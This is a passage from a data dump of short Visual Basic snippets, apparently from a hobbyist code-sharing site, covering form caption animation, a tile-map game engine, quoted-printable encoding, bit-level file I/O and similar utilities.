a + 1\nLoop\na = 1\nMrk1 = False\nDo Until a = Len(f) + 1\nIf Mid$(f, a, 1) = \".\" Then\nb = a\nMrk1 = True\nEnd If\n\na = a + 1\nLoop\n'If Mrk1 = False Then f = f & \".\"\nIf Val(Mid$(f, b, Len(f))) = 3 Then f = f & \"00\"\nIf Val(Mid$(f, b, Len(f))) = 4 Then f = f & \"0\"\n\nIf Mrk1 = False Then f = f & \".00\"\nDallorGet = f\nExit Sub\nyu:\nExit Sub\nEnd Sub\nSub addletter(frm As Form, newletter As String, oldcaption As String)\n'Used By AnimateCaption\n Dim total As Integer, spaces As Integer, temp, X\n total = Len(temp)\n spaces = (frm.Width / 50) - (total)\n For X = spaces To Len(temp) Step -1\n frm.Caption = oldcaption & Space(X) & newletter\n DoEvents\n Next X\n End Sub\n\nSub AnimateCaption(CapData, MEfrm As Form)\n'Usage:\n'\n' AnimateCaption Form1\n'\n MEfrm.Show\n MEfrm.Caption = \"\"\n Dim a, t\n a = CapData\n For t = 1 To Len(a)\n addletter MEfrm, Mid$(a, t, 1), MEfrm.Caption\n Next t\nEnd Sub\n\n \nSub DisableX(FormNameHere As Form)\n'Usage:\n'\n' DisableX Form1\n'\n Dim hMenu As Long\n Dim menuItemCount As Long\n hMenu = GetSystemMenu(FormNameHere.hwnd, 0)\n If hMenu Then\n menuItemCount = GetMenuItemCount(hMenu)\n Call RemoveMenu(hMenu, menuItemCount - 1, MF_REMOVE Or MF_BYPOSITION)\n Call RemoveMenu(hMenu, menuItemCount - 2, MF_REMOVE Or MF_BYPOSITION)\n Call DrawMenuBar(FormNameHere.hwnd)\n End If\n \nEnd Sub\n"},{"WorldId":1,"id":2641,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2645,"LineNumber":1,"line":"'General Deciarations\nDim C As String 'to store current form's caption\nDim CO As Integer 'to store caption length\nDim FS As Long 'to store current form Width\nPrivate Sub Form_Load()\n Timer1.Interval = 100\n Me.Caption = \"Nilantha Athurupana\"\n C = Me.Caption\n CO = Len(C) + 1\n Me.Caption = \"\"\n \n If Me.BorderStyle <> 2 Then\n FS = Me.ScaleWidth + 250\n Else\n FS = Me.ScaleWidth + 500\n End If\nEnd Sub\nPrivate Sub Form_Resize()\n If Me.WindowState = 1 Then\n FS = 3500\n Else\n FS = Me.ScaleWidth\n End If\nEnd Sub\nPrivate Sub Timer1_Timer()\nOn Error GoTo ATH\n Static C01 As Integer ' Counter 1\n Static CO2 As Integer ' Counter 2\n Static A As String 'To move Caption\n \n Dim R As String 'Restore Caption\n Dim T As String 'Restore Caption\n \nXX:\n If CO > 0 Then\n C01 = CO\n T = Mid(C, C01, 1)\n CO = CO - 1\n R = \" \"\n Mid(R, 1) = T\n Me.Caption = R & Me.Caption\n Else\n A = A & \" \"\n R = \" \"\n Mid(R, 1) = A\n Me.Caption = R & Me.Caption\n End If\n \n If CO2 >= FS Then\n CO2 = 0\n CO = Len(C)\n Me.Caption = \"\"\n GoTo XX\n Else\n CO2 = CO2 + 50\n End If\n Exit Sub\nATH:\nEnd Sub\n"},{"WorldId":1,"id":2742,"LineNumber":1,"line":"'General Deciarations\nDim C As String 'to store panel's text\nDim CO As Integer 'to store text length\nDim FS As Long 'to store Panels Width\nPrivate Sub MDIForm_Load()\n Timer1.Interval = 100\n SB.Panels(1).Text = \"Nilantha Athurupana\"\n C = SB.Panels(1).Text\n CO = Len(C) + 1\n SB.Panels(1).Text = \"\"\n FS = SB.Panels(1).Width\nEnd Sub\nPrivate Sub Timer1_Timer()\nOn Error GoTo ATH\n Static C01 As Integer ' Counter 1\n Static CO2 As Integer ' Counter 2\n Static A As String 'To move text\n \n Dim R As String 'Restore text\n Dim T As String 'Restore text\n \nXX:\n If CO > 0 Then\n C01 = CO\n T = Mid(C, C01, 1)\n CO = CO - 1\n R = \" \"\n Mid(R, 1) = T\n SB.Panels(1).Text = R & SB.Panels(1).Text\n Else\n A = A & \" \"\n R = \" \"\n Mid(R, 1) = A\n SB.Panels(1).Text = R & SB.Panels(1).Text\n End If\n \n If CO2 >= FS Then\n CO2 = 0\n CO = Len(C)\n SB.Panels(1).Text = \"\"\n GoTo XX\n Else\n CO2 = CO2 + 35 'please edit this value according to your text length.\n End If\n Exit Sub\nATH:\nEnd Sub\n"},{"WorldId":1,"id":2665,"LineNumber":1,"line":"Public Function CvtTimeStamp(TimeSt As String) As String\n' This function will recieve the eight byte string of binary data\n' returned as the value of a timestamp column and convert it into\n' as string in the format 0x000000000000000 suitable for the use in an sql statement\n' where clause\nDim HexValue As String\nDim K As Integer\nFor K = 1 To 8\n HexValue = HexValue & Right$(\"00\" & Hex(AscB(MidB(TimeSt, K, 1))), 2)\nNext K\nCvtTimeStamp = \"0x\" & HexValue\n \nEnd Function\n"},{"WorldId":1,"id":2695,"LineNumber":1,"line":"Private Sub text1_KeyPress(KeyAscii As Integer)\n Dim Numbers As Integer\n Dim Msg As String\n \n Numbers = KeyAscii\n \n If ((Numbers < 48 Or Numbers > 57) And Numbers <> 8) Then\n Msg = MsgBox(\"Only Numbers are aloud in this Textbox\", vbCritical, \"Error Number\")\n KeyAscii = 0\n End If\nEnd Sub"},{"WorldId":1,"id":2755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6372,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5121,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2731,"LineNumber":1,"line":"Sub OpenUrl(URL As String)\nRem Written by Stephen Glauser\nRem Last Update: August 1, 1999\nRem This will the users Default Web Browser\nRem and send them to the specified URL\nRem Call OpenUrl(\"http://www.microsoft.com\")\nShell (\"Explorer \" & URL$), vbNormalNoFocus\nEnd Sub"},{"WorldId":1,"id":2734,"LineNumber":1,"line":"Sub TimeOut (duration)\nStartTime = Timer\nDo While Timer - StartTime < duration\n X = DoEvents()\nLoop\nEnd Sub"},{"WorldId":1,"id":2736,"LineNumber":1,"line":"Sub FormCenter (Frm As Form)\nRem Written by Stephen Glauser\nRem Last Update: August 1, 1999\nRem Centers your form on the Screen\nRem FormCenter Me\nFrm.Top = (Screen.Height * .85) / 2 - Frm.Height / 2\nFrm.Left = Screen.Width / 2 - Frm.Width / 2\nEnd Sub\n"},{"WorldId":1,"id":6328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10291,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10295,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2746,"LineNumber":1,"line":"Public Sub SetColorBar(cListView As ListView, cColorBar As PictureBox, Optional lColor1 As Long = &HE2F1E3, Optional lColor2 As Long = vbWhite)\n' Creates a color bar background for a ListView when in \n' report mode. Passing the listview and picturebox allows \n' you to use this with more than one control. You can also \n' change the colors used for each by passing new RGB color \n' values in the optional color parameters.\n Dim iLineHeight As Long\n Dim iBarHeight As Long\n Dim lBarWidth As Long\n On Error GoTo SetColorBarError\n ' set picture to none and exit sub if not in report mode\n If Not cListView.View = lvwReport Then GoTo SetColorBarError\n ' these can be commented out if the cColorBar control \n ' is set correctly.\n cColorBar.AutoRedraw = True\n cColorBar.BorderStyle = vbBSNone\n cColorBar.ScaleMode = vbTwips\n cColorBar.Visible = False\n ' set the alignment to \"Tile\" and you only need \n ' two bars of color.\n cListView.PictureAlignment = lvwTile\n ' needed because ListView does not have \"TextHeight\"\n cColorBar.Font = cListView.Font\n ' set height to a single line of text plus a \n ' one pixel spacer.\n iLineHeight = cColorBar.TextHeight(\"|\") + Screen.TwipsPerPixelY\n ' set color bars to 3-line wide.\n iBarHeight = iLineHeight * 3\n lBarWidth = cListView.Width\n ' resize the cColorBar picturebox\n cColorBar.Height = iBarHeight * 2\n cColorBar.Width = lBarWidth\n ' paint the two bars of color\n cColorBar.Line (0, 0)-(lBarWidth, iBarHeight), lColor1, BF\n cColorBar.Line (0, iBarHeight)-(lBarWidth, iBarHeight * 2), lColor2, BF\n ' set the cListView picture to the \n ' cColorBar image\n cListView.Picture = cColorBar.Image\n Exit Sub\nSetColorBarError:\n ' clear cListView's picture and then exit\n cListView.Picture = LoadPicture(\"\")\nEnd Sub\n"},{"WorldId":1,"id":2747,"LineNumber":1,"line":"Sub ChangeRes(iWidth As Single, iHeight As Single)\n'Just Call Changeres(1600,1200) or whatever you want in load\n Dim a As Boolean\n Dim i&\n i = 0\n Do\n a = EnumDisplaySettings(0&, i&, DevM)\n i = i + 1\n Loop Until (a = False)\n Dim b&\n DevM.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT\n DevM.dmPelsWidth = iWidth\n DevM.dmPelsHeight = iHeight\n b = ChangeDisplaySettings(DevM, 0)\nEnd Sub\nPublic Sub TilePicture(frmDest As Form, source As PictureBox, X, Y)\n'This is not the sub that you want to use, it may be a good one to modify though\n'If you think you need Direct-X or just want to see what will work.\n Dim pw As Integer\n Dim ph As Integer\n Dim fw As Integer\n Dim fh As Integer\n Dim rst As Integer\n source.ScaleMode = 3\n pw = source.ScaleWidth\n ph = source.ScaleHeight\n fw = frmDest.Width / Screen.TwipsPerPixelX\n fh = frmDest.Height / Screen.TwipsPerPixelY\niResult = BitBlt(frmDest.hdc, X, Y, iPicWidth, iPicHeight, picSource.hdc, 0, 0, vbSrcCopy)\nEnd Sub\nPublic Sub LoadMap(InvisText As TextBox, mapname As String)\n'maps constists of numbers like\n'\n'00012301\n'12321455\n'51000102\n'and so forth, if anyone wants to make a map editor, that would be cool,\n'but I don't got the time(5:00 - 9:00pm) in football practice\n Dim lFileLength As Long\n Dim iFileNum As Integer\n iFileNum = FreeFile\n Open mapname For Input As iFileNum\n lFileLength = LOF(iFileNum)\n Text1.Text = Input(lFileLength, #iFileNum)\n Close iFileNum\nEnd Sub\nPublic Sub OpenMidi()\n'dont call this, it needs a few mods\n Dim sFile As String\n Dim sShortFile As String * 67\n Dim lResult As Long\n Dim sError As String * 255\n sFile = App.Path & \"\\midtest.mid\"\n lResult = GetShortPathName(sFile, sShortFile, Len(sShortFile))\n sFile = Left$(sShortFile, lResult)\n lResult = mciSendString(\"open \" & sFile & _\n \" type sequencer alias mcitest\", ByVal 0&, 0, 0)\n If lResult Then\n lResult = mciGetErrorString(lResult, sError, 255)\n Debug.Print \"open: \" & sError\n End If\nEnd Sub\nPublic Sub PlayMidi()\n'see above\n Dim lResult As Integer\n Dim sError As String * 255\n lResult = mciSendString(\"play mcitest\", ByVal 0&, 0, 0)\n If lResult Then\n lResult = mciGetErrorString(lResult, sError, 255)\n Debug.Print \"play: \" & sError\n End If\nEnd Sub\nPublic Sub CloseMidi()\n'again see above, i am sorry I will update soon\n Dim lResult As Integer\n Dim sError As String * 255\n lResult = mciSendString(\"close mcitest\", \"\", 0&, 0&)\n If lResult Then\n lResult = mciGetErrorString(lResult, sError, 255)\n Debug.Print \"stop: \" & sError\n End If\nEnd Sub\nSub PlayWave(sFileName As String)\n On Error GoTo Play_Err\n Dim iReturn As Integer\n If sFileName > \"\" Then\n If UCase$(Right$(sFileName, 3)) = \"WAV\" Then\n If Dir(sFileName) > \"\" Then\n iReturn = sndPlaySound(sFileName, 0)\n End If\n End If\n End If\n Exit Sub\nPlay_Err:\n Exit Sub\nEnd Sub\nFunction TileWalkable(Tilesize As Integer, LoadedMap As TextBox, X As Integer, Y As Integer, LineWidth As Integer) As Boolean\n'Funky Tile Engine Note:\n'Most pic boxes use twip, so divide pic.width by screen.twipsperpixelx and same for height, execpt for y insted.\n'I also suggest that you modify this if you are tring to make a more customized\n'engine, because this at this time gives you 18 unwalkables\nDim xx As Integer\nDim yy As Integer\nDim temp As Integer\nDim a As String\nDim b As String\nxx = X / Tilesize\nyy = Y / Tilesize\nIf Y < Tilesize Then\n a = Left(LoadedMap, xx)\n b = Mid(a, xx, 1): GoTo 1\nEnd If\ntemp = yy * LineWidth + 2\na = Left(LoadedMap, xx + temp)\nb = Mid(a, xx + temp, 1): GoTo 1\n1\nMsgBox b\nIf b = \"0\" Then TileWalkable = False: Exit Function\nIf b = \"1\" Then TileWalkable = False: Exit Function\nIf b = \"2\" Then TileWalkable = False: Exit Function\nIf b = \"3\" Then TileWalkable = False: Exit Function\nIf b = \"4\" Then TileWalkable = False: Exit Function\nIf b = \"5\" Then TileWalkable = False: Exit Function\nIf b = \"6\" Then TileWalkable = False: Exit Function\nIf b = \"7\" Then TileWalkable = False: Exit Function\nIf b = \"8\" Then TileWalkable = False: Exit Function\nIf b = \"9\" Then TileWalkable = False: Exit Function\nIf b = \"a\" Then TileWalkable = False: Exit Function\nIf b = \"b\" Then TileWalkable = False: Exit Function\nIf b = \"c\" Then TileWalkable = False: Exit Function\nIf b = \"d\" Then TileWalkable = False: Exit Function\nIf b = \"e\" Then TileWalkable = False: Exit Function\nIf b = \"f\" Then TileWalkable = False: Exit Function\nIf b = \"g\" Then TileWalkable = False: Exit Function\nTileWalkable = True\nEnd Function\nSub Tilemake(LoadedMap As TextBox, MapXLength As Integer, MapYLength, PicWidth As Integer, Dest As Form, Optional pic0 As PictureBox, Optional pic1 As PictureBox, Optional pic2 As PictureBox, Optional pic3 As PictureBox, Optional pic4 As PictureBox, Optional pic5 As PictureBox, Optional pic6 As PictureBox, Optional pic7 As PictureBox, Optional pic8 As PictureBox, Optional pic9 As PictureBox, Optional pic10 As PictureBox, Optional pic11 As PictureBox, Optional pic12 As PictureBox, Optional pic13 As PictureBox, Optional pic14 As PictureBox, Optional pic15 As PictureBox, Optional pic16 As PictureBox, Optional pic17 As PictureBox, Optional pic18 As PictureBox, Optional pic19 As PictureBox, Optional pic20 As PictureBox, Optional pic21 As PictureBox, Optional pic22 As PictureBox, Optional pic23 As PictureBox, Optional pic24 As PictureBox, Optional pic25 As PictureBox, Optional pic26 As PictureBox, Optional pic27 As PictureBox, Optional pic28 As PictureBox, Optional pic29 As PictureBox, _\nOptional pic30 As PictureBox, Optional pic31 As PictureBox, Optional pic32 As PictureBox, Optional pic33, Optional pic34 As PictureBox, Optional pic35 As PictureBox)\n'this is what you call\n'all pictureboxes are optional, so you don't have to use them all\n'Put me in the form paint\n'after 0123456789 comes a - z\n'be creative if you want more, ~!@#$%^&*()_+\ncc = 0\naa = 0\nbb = 0\n1\nFor i = 0 To MapXLength\na = Mid(LoadedMap, i + aa + 1, 1)\ndd = i * PicWidth\ndd = dd + 224\nIf a = \"0\" Then Call TilePicture(Dest, pic0, dd, cc)\nIf a = \"1\" Then Call TilePicture(Dest, pic1, dd, cc)\nIf a = \"2\" Then Call TilePicture(Dest, pic2, dd, cc)\nIf a = \"3\" Then Call TilePicture(Dest, pic3, dd, cc)\nIf a = \"4\" Then Call TilePicture(Dest, pic4, dd, cc)\nIf a = \"5\" Then Call TilePicture(Dest, pic5, dd, cc)\nIf a = \"6\" Then Call TilePicture(Dest, pic6, dd, cc)\nIf a = \"7\" Then Call TilePicture(Dest, pic7, dd, cc)\nIf a = \"8\" Then Call TilePicture(Dest, pic8, dd, cc)\nIf a = \"9\" Then Call TilePicture(Dest, pic9, dd, cc)\nIf a = \"a\" Then Call TilePicture(Dest, pic10, dd, cc)\nIf a = \"b\" Then Call TilePicture(Dest, pic11, dd, cc)\nIf a = \"c\" Then Call TilePicture(Dest, pic12, dd, cc)\nIf a = \"d\" Then Call TilePicture(Dest, pic13, dd, cc)\nIf a = \"e\" Then Call TilePicture(Dest, pic14, dd, cc)\nIf a = \"f\" Then Call TilePicture(Dest, pic15, dd, cc)\nIf a = \"g\" Then Call TilePicture(Dest, pic16, dd, cc)\nIf a = \"h\" Then Call TilePicture(Dest, pic17, dd, cc)\nIf a = \"i\" Then Call TilePicture(Dest, pic18, dd, cc)\nIf a = \"j\" Then Call TilePicture(Dest, pic19, dd, cc)\nIf a = \"k\" Then Call TilePicture(Dest, pic20, dd, cc)\nIf a = \"l\" Then Call TilePicture(Dest, pic21, dd, cc)\nIf a = \"m\" Then Call TilePicture(Dest, pic22, dd, cc)\nIf a = \"n\" Then Call TilePicture(Dest, pic23, dd, cc)\nIf a = \"o\" Then Call TilePicture(Dest, pic24, dd, cc)\nIf a = \"p\" Then Call TilePicture(Dest, pic25, dd, cc)\nIf a = \"q\" Then Call TilePicture(Dest, pic26, dd, cc)\nIf a = \"r\" Then Call TilePicture(Dest, pic27, dd, cc)\nIf a = \"s\" Then Call TilePicture(Dest, pic28, dd, cc)\nIf a = \"t\" Then Call TilePicture(Dest, pic29, dd, cc)\nIf a = \"u\" Then Call TilePicture(Dest, pic30, dd, cc)\nIf a = \"v\" Then Call TilePicture(Dest, pic31, dd, cc)\nIf a = \"w\" Then Call TilePicture(Dest, pic32, dd, cc)\n'If a = \"x\" Then Call TilePicture(Dest, pic33, dd, cc)\n'If a = \"y\" Then Call TilePicture(Dest, pic34, dd, cc)\n'If a = \"z\" Then Call TilePicture(Dest, pic35, dd, cc)\nNext i\ncc = cc + PicWidth\naa = aa + MapXLength + 2\nbb = bb + 1\nIf bb > MapYLength Then Exit Sub\nGoTo 1\nEnd Sub\n'Private Sub TransparentBlt(OutDstDC As Long, DstDC As Long, SrcDC As Long, SrcRect As RECT, DstX As Integer, DstY As Integer, TransColor As Long)\n' Dim nRet As Long, W As Integer, H As Integer\n' Dim MonoMaskDC As Long, hMonoMask As Long\n' Dim MonoInvDC As Long, hMonoInv As Long\n' Dim ResultDstDC As Long, hResultDst As Long\n' Dim ResultSrcDC As Long, hResultSrc As Long\n' Dim hPrevMask As Long, hPrevInv As Long\n' Dim hPrevSrc As Long, hPrevDst As Long\n' W = SrcRect.Right - SrcRect.Left + 1\n' H = SrcRect.Bottom - SrcRect.Top + 1\n' MonoMaskDC = CreateCompatibleDC(DstDC)\n' MonoInvDC = CreateCompatibleDC(DstDC)\n' hMonoMask = CreateBitmap(W, H, 1, 1, ByVal 0&)\n' hMonoInv = CreateBitmap(W, H, 1, 1, ByVal 0&)\n' hPrevMask = SelectObject(MonoMaskDC, hMonoMask)\n' hPrevInv = SelectObject(MonoInvDC, hMonoInv)\n' ResultDstDC = CreateCompatibleDC(DstDC)\n' ResultSrcDC = CreateCompatibleDC(DstDC)\n' hResultDst = CreateCompatibleBitmap(DstDC, W, H)\n' hResultSrc = CreateCompatibleBitmap(DstDC, W, H)\n' hPrevDst = SelectObject(ResultDstDC, hResultDst)\n' hPrevSrc = SelectObject(ResultSrcDC, hResultSrc)\n' Dim OldBC As Long\n' OldBC = SetBkColor(SrcDC, TransColor)\n' nRet = BitBlt(MonoMaskDC, 0, 0, W, H, SrcDC, SrcRect.Left, SrcRect.Top, vbSrcCopy)\n' TransColor = SetBkColor(SrcDC, OldBC)\n' nRet = BitBlt(MonoInvDC, 0, 0, W, H, MonoMaskDC, 0, 0, vbNotSrcCopy)\n' nRet = BitBlt(ResultDstDC, 0, 0, W, H, DstDC, DstX, DstY, vbSrcCopy)\n' nRet = BitBlt(ResultDstDC, 0, 0, W, H, MonoMaskDC, 0, 0, vbSrcAnd)\n' nRet = BitBlt(ResultSrcDC, 0, 0, W, H, SrcDC, SrcRect.Left, SrcRect.Top, vbSrcCopy)\n' nRet = BitBlt(ResultSrcDC, 0, 0, W, H, MonoInvDC, 0, 0, vbSrcAnd)\n' nRet = BitBlt(ResultDstDC, 0, 0, W, H, ResultSrcDC, 0, 0, vbSrcInvert)\n' nRet = BitBlt(OutDstDC, DstX, DstY, W, H, ResultDstDC, 0, 0, vbSrcCopy)\n' hMonoMask = SelectObject(MonoMaskDC, hPrevMask)\n' DeleteObject hMonoMask\n' hMonoInv = SelectObject(MonoInvDC, hPrevInv)\n' DeleteObject hMonoInv\n' hResultDst = SelectObject(ResultDstDC, hPrevDst)\n' DeleteObject hResultDst\n' hResultSrc = SelectObject(ResultSrcDC, hPrevSrc)\n' DeleteObject hResultSrc\n' DeleteDC MonoMaskDC\n' DeleteDC MonoInvDC\n' DeleteDC ResultDstDC\n' DeleteDC ResultSrcDC\n'End Sub\n'Dim R As RECT\n' With R\n' .Left = 0\n' .Top = 0\n' .Right = Picture1.ScaleWidth\n' .Bottom = Picture1.ScaleHeight\n'End With\n'\n'TransparentBlt Form1.hDC, Form1.hDC, Picture1.hDC, R, 20, 20, vbblack"},{"WorldId":1,"id":2750,"LineNumber":1,"line":"Dim Genie As IAgentCtlCharacterEx\nConst DATAPATH = \"genie.acs\"\n\nPrivate Sub Form_Load()\n Agent1.Characters.Load \"Genie\", DATAPATH\n Set Genie = Agent1.Characters(\"Genie\")\n Genie.LanguageID = &H409\n TextBox.Text = \"Hello World!\"\nEnd Sub\nPrivate Sub Button_Click()\n Genie.Show\n Genie.Speak TextBox.Text\n Genie.Hide\nEnd Sub"},{"WorldId":1,"id":3339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9100,"LineNumber":1,"line":"no code"},{"WorldId":1,"id":10514,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2848,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3147,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3113,"LineNumber":1,"line":"Public Function DecodeQP(ByRef StrToDecode As String) As String\nDim sTemp As String\nDim i As Integer\nsTemp = StrToDecode\nFor i = 255 To 127 Step -1\n If InStr(1, sTemp, \"=\" & Hex$(i)) <> 0 Then sTemp = Replace(sTemp, \"=\" & Hex$(i), Chr$(i))\nNext\n If InStr(1, sTemp, \"=\" & Hex$(61)) <> 0 Then sTemp = Replace(sTemp, \"=\" & Hex$(61), Chr$(255) & Chr$(254))\nFor i = 32 To 10 Step -1\n If InStr(1, sTemp, \"=\" & Hex$(i)) <> 0 Then sTemp = Replace(sTemp, \"=\" & Hex$(i), Chr$(i))\nNext\nFor i = 9 To 0 Step -1\n If InStr(1, sTemp, \"=\" & \"0\" & Hex$(i)) <> 0 Then sTemp = Replace(sTemp, \"=\" & Hex$(i), Chr$(i))\nNext\nsTemp = Replace(sTemp, \"=\", \"\")\nsTemp = Replace(sTemp, Chr$(255) & Chr$(254), \"=\")\nDecodeQP = sTemp\nEnd Function\nPublic Function EncodeQP(ByRef StrToEncode As String) As String\nDim sTemp As String\nDim i As Integer\nsTemp = StrToEncode\nFor i = 255 To 127 Step -1\n If InStr(1, sTemp, Chr$(i)) <> 0 Then sTemp = Replace(sTemp, Chr$(i), \"=\" & Hex$(i))\nNext\n If InStr(1, sTemp, Chr$(61)) <> 0 Then sTemp = Replace(sTemp, Chr$(61), \"=\" & Hex$(61))\nFor i = 32 To 10 Step -1\n If InStr(1, sTemp, Chr$(i)) <> 0 Then sTemp = Replace(sTemp, Chr$(i), \"=\" & Hex$(i))\nNext\nFor i = 9 To 0 Step -1\n If InStr(1, sTemp, Chr$(i)) <> 0 Then sTemp = Replace(sTemp, Chr$(i), \"=\" & \"0\" & Hex$(i))\nNext\nEncodeQP = sTemp\nEnd Function\n"},{"WorldId":1,"id":3600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2903,"LineNumber":1,"line":"Type BitFile\n FileNum As Integer 'File handle\n holder As Byte 'holds a byte from file\n mask As Byte 'used to read bits\nEnd Type\n\nPublic Function OpenOBitFile(FileName As String) As BitFile\n'Parameters - Filename\n'Returns - Bitfile\n'What it does - Opens a file for output a single bit at a time\n'Example - dim OutputFile as bitfile\n' OutputFile = OpenOBitFile(\"C:\\test.bit\")\n \n Dim bitfilename As BitFile\n FileNum = FreeFile 'get lowest available file handle\n Open FileName For Binary As FileNum 'open it\n bitfilename.FileNum = FileNum 'assign file number to structure\n bitfilename.holder = 0 'bit holder = 0\n bitfilename.mask = 128 'used to read individual bits\n OpenOBitFile = bitfilename\nEnd Function\nPublic Function OpenIBitFile(FileName As String) As BitFile\n'Parameters - Filename\n'Returns - Bitfile\n'What it does - Opens a file for input a single bit at a time\n'Example - dim InputFile as bitfile\n' InputFile = OpenIBitFile(\"C:\\command.com\")\n Dim bitfilename As BitFile\n FileNum = FreeFile 'get lowest available file handle\n Open FileName For Binary As FileNum 'open it\n bitfilename.FileNum = FileNum 'assign file number to structure\n bitfilename.holder = 0 'bit holder = 0\n bitfilename.mask = 128 'used to read individual bits\n OpenIBitFile = bitfilename\nEnd Function\nPublic Sub CloseIBitFile(bitfilename As BitFile)\n'Parameters - bitfile\n'Returns - Nothing\n'What it does - Closes the file associated with a bitfile\n'Example - CloseIBitFile(InputFile)\n Close bitfilename.FileNum 'Close the file associated with the bitfile\nEnd Sub\nPublic Sub CloseOBitFile(bitfilename As BitFile)\n'Parameters - bitfile\n'Returns - Nothing\n'What it does - Closes the file associated with a bitfile\n'Example - CloseOBitFile(OutputFile)\n If bitfilename.mask <> 128 Then 'If there is unwritten data...\n Put bitfilename.FileNum, , bitfilename.holder 'Write it now\n End If\n \n Close bitfilename.FileNum 'Close the file\nEnd Sub\nPublic Sub OutputBit(ByRef bitfilename As BitFile, bit As Byte)\n'Parameters - bitfile, bit to write\n'Returns - nothing\n'What it does - Writes the specified bit to the file\n'Example - OutputBit(OutputFile, 1)\n If bit <> 0 Then\n bitfilename.holder = bitfilename.holder Or bitfilename.mask\n 'the holder stores up written bits until there are 8\n 'At that point vb's normal file handling facilities can write it\n End If\n bitfilename.mask = bitfilename.mask \\ 2 'decrease mask by power of 2\n If bitfilename.mask = 0 Then 'if mask is empty\n Put bitfilename.FileNum, , bitfilename.holder 'write the byte\n bitfilename.holder = 0 'reset holder and mask\n bitfilename.mask = 128\n \n End If\n \nEnd Sub\nPublic Sub OutputBits(ByRef bitfilename As BitFile, ByVal code As Long, ByVal count As Integer)\n'Parameters - bitfile, data to write, number of bits to use\n'Returns - nothing\n'What it does - Writes the specified info using the specified number of bits\n'Example - OutputBits(OutputFile, 28, 7)\n Dim mask As Long\n mask = 2 ^ (count - 1)\n Do While mask <> 0\n If (mask And code) <> 0 Then 'if the bits match up...\n bitfilename.holder = bitfilename.holder Or bitfilename.mask 'put the bit in the holder\n End If\n bitfilename.mask = bitfilename.mask \\ 2\n mask = mask \\ 2\n If bitfilename.mask = 0 Then 'when there are 8 bits, write the holder to the file\n Put bitfilename.FileNum, , bitfilename.holder\n bitfilename.holder = 0 'and reset the holder and mask\n bitfilename.mask = 128\n End If\n Loop\nEnd Sub\nPublic Function InputBit(ByRef bitfilename As BitFile) As Byte\n'Parameters - bitfile\n'returns - the next bit from the file\n'Example: bit = InputBit(InputBitFile)\n\n Dim value As Byte\n If bitfilename.mask = 128 Then 'if at end of previous byte\n \n Get bitfilename.FileNum, , bitfilename.holder 'get a new byte from file\n End If\n value = bitfilename.holder And bitfilename.mask 'get the bit\n bitfilename.mask = bitfilename.mask \\ 2 'move the mask bit down one\n If bitfilename.mask = 0 Then\n bitfilename.mask = 128\n End If\n If value <> 0 Then 'return 0 or 1 depending on value\n InputBit = 1\n Else\n InputBit = 0\n End If\nEnd Function\nPublic Function InputBits(ByRef bitfilename As BitFile, count As Integer) As Long\n'Parameters - bitfile, number of bits to read\n'returns - the value of the next count bits in the bitfile\n'Example: byte = InputBits(InputBitFile, 8)\n'This function works just like inputbit except that it loops through and reads the specified\n'number of bits and puts them into a temporary holder\n Dim holder As Long\n Dim longmask As Long\n \n longmask = 2 ^ (count - 1)\n \n Do While (longmask <> 0)\n If bitfilename.mask = 128 Then\n \n Get bitfilename.FileNum, , bitfilename.holder\n End If\n If (bitfilename.holder And bitfilename.mask) <> 0 Then\n holder = holder Or longmask\n End If\n bitfilename.mask = bitfilename.mask \\ 2\n longmask = longmask \\ 2\n If bitfilename.mask = 0 Then\n bitfilename.mask = 128\n End If\n Loop\n \n InputBits = holder\nEnd Function\n"},{"WorldId":1,"id":2799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2771,"LineNumber":1,"line":"Private Sub Form_Load()\nCall Sleep(1000)\nEnd Sub\n'This code example will \"sleep\" for 1 second, and then load the form."},{"WorldId":1,"id":2773,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9939,"LineNumber":1,"line":"Public Function GetBrowseNetworkShare(ByVal hw As Variant) As String\n 'returns only a valid share on a network server or workstation\n ' hw is a forms hWnd\n ' call: Text1.Text = GetBrowseNetworkShare(Me.hWnd)\n \n Dim BI As BROWSEINFO\n Dim pidl As Long\n Dim sPath As String\n Dim pos As Integer\n\n If SHGetSpecialFolderLocation(0, CSIDL_NETWORK, pidl) = ERROR_SUCCESS Then\n\n With BI\n .hOwner = hw\n .pidlRoot = pidl\n .pszDisplayName = Space$(MAX_PATH)\n .lpszTitle = \"Select a network computer or share.\"\n .ulFlags = BIF_RETURNONLYFSDIRS\n End With\n \n 'show the browse dialog\n pidl = SHBrowseForFolder(BI)\n\n If pidl <> 0 Then\n \n sPath = Space$(MAX_PATH)\n\n If SHGetPathFromIDList(ByVal pidl, ByVal sPath) Then\n pos = InStr(sPath, Chr$(0))\n GetBrowseNetworkShare = Left$(sPath, pos - 1)\n End If\n Else:\n GetBrowseNetworkShare = \"\\\\\" & BI.pszDisplayName\n End If 'If pidl\n End If 'If SHGetSpecialFolderLocation\nEnd Function\n"},{"WorldId":1,"id":4233,"LineNumber":1,"line":"Private Sub Form_Load()\n 'load a bunch of long messages in the listbox\n For i = 0 To 25\n List1.AddItem (i & \". This is a long string that you can't _ \n see all of in the list box, it's #: \" & i)\n Next i\nEnd Sub\nPrivate Sub List1_MouseMove(Button As 